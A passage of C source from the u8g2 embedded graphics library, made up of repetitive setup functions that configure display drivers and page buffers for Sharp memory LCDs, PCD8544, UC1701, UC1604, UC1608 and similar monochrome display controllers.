u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls013b7dh03 f */\nvoid u8g2_Setup_ls013b7dh03_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls027b7dh01 */\n/* ls027b7dh01 1 */\nvoid u8g2_Setup_ls027b7dh01_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_50_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ls027b7dh01_m0_400x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_50_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls027b7dh01 2 */\nvoid u8g2_Setup_ls027b7dh01_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_50_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ls027b7dh01_m0_400x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_50_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls027b7dh01 f */\nvoid u8g2_Setup_ls027b7dh01_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_50_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ls027b7dh01_m0_400x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_50_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls013b7dh05 */\n/* ls013b7dh05 1 */\nvoid u8g2_Setup_ls013b7dh05_144x168_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_21_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls013b7dh05 2 */\nvoid u8g2_Setup_ls013b7dh05_144x168_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_21_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ls013b7dh05 f */\nvoid u8g2_Setup_ls013b7dh05_144x168_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_18_21_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* uc1701 */\n/* uc1701 1 */\nvoid u8g2_Setup_uc1701_ea_dogs102_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1701 2 */\nvoid u8g2_Setup_uc1701_ea_dogs102_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1701 f */\nvoid u8g2_Setup_uc1701_ea_dogs102_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_13_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1701 */\n/* uc1701 1 */\nvoid u8g2_Setup_uc1701_mini12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_mini12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1701 2 */\nvoid u8g2_Setup_uc1701_mini12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_mini12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1701 f */\nvoid u8g2_Setup_uc1701_mini12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1701_mini12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* pcd8544 */\n/* pcd8544 1 */\nvoid u8g2_Setup_pcd8544_84x48_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_pcd8544_84x48, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_11_6_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* pcd8544 2 */\nvoid u8g2_Setup_pcd8544_84x48_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_pcd8544_84x48, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_11_6_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* pcd8544 f */\nvoid u8g2_Setup_pcd8544_84x48_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_pcd8544_84x48, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_11_6_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* pcf8812 */\n/* pcf8812 1 */\nvoid u8g2_Setup_pcf8812_96x65_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_pcf8812_96x65, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_9_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* pcf8812 2 */\nvoid u8g2_Setup_pcf8812_96x65_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_pcf8812_96x65, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_9_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* pcf8812 f */\nvoid u8g2_Setup_pcf8812_96x65_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_pcf8812_96x65, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_9_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* hx1230 */\n/* hx1230 1 */\nvoid u8g2_Setup_hx1230_96x68_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_hx1230_96x68, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_9_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* hx1230 2 */\nvoid u8g2_Setup_hx1230_96x68_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_hx1230_96x68, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_9_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* hx1230 f */\nvoid u8g2_Setup_hx1230_96x68_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_hx1230_96x68, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_9_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1604 */\n/* uc1604 1 */\nvoid u8g2_Setup_uc1604_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1604 2 */\nvoid u8g2_Setup_uc1604_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1604 f */\nvoid u8g2_Setup_uc1604_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1604 */\n/* uc1604 1 */\nvoid u8g2_Setup_uc1604_i2c_jlx19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1604 2 */\nvoid u8g2_Setup_uc1604_i2c_jlx19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1604 f */\nvoid u8g2_Setup_uc1604_i2c_jlx19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1604_jlx19264, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 */\n/* uc1608 1 */\nvoid u8g2_Setup_uc1608_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_uc1608_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 2 */\nvoid u8g2_Setup_uc1608_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_uc1608_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 f */\nvoid u8g2_Setup_uc1608_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_uc1608_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 */\n/* uc1608 1 */\nvoid u8g2_Setup_uc1608_i2c_erc24064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_uc1608_i2c_dem240064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 2 */\nvoid u8g2_Setup_uc1608_i2c_erc24064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_uc1608_i2c_dem240064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 f */\nvoid u8g2_Setup_uc1608_i2c_erc24064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc24064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_uc1608_i2c_dem240064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_dem240064, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 */\n/* uc1608 1 */\nvoid u8g2_Setup_uc1608_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_15_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 2 */\nvoid u8g2_Setup_uc1608_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_15_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 f */\nvoid u8g2_Setup_uc1608_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_15_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 */\n/* uc1608 1 */\nvoid u8g2_Setup_uc1608_i2c_erc240120_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_15_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 2 */\nvoid u8g2_Setup_uc1608_i2c_erc240120_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_15_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 f */\nvoid u8g2_Setup_uc1608_i2c_erc240120_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_erc240120, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_15_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 */\n/* uc1608 1 */\nvoid u8g2_Setup_uc1608_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1608_240x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1608 2 */\nvoid u8g2_Setup_uc1608_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t 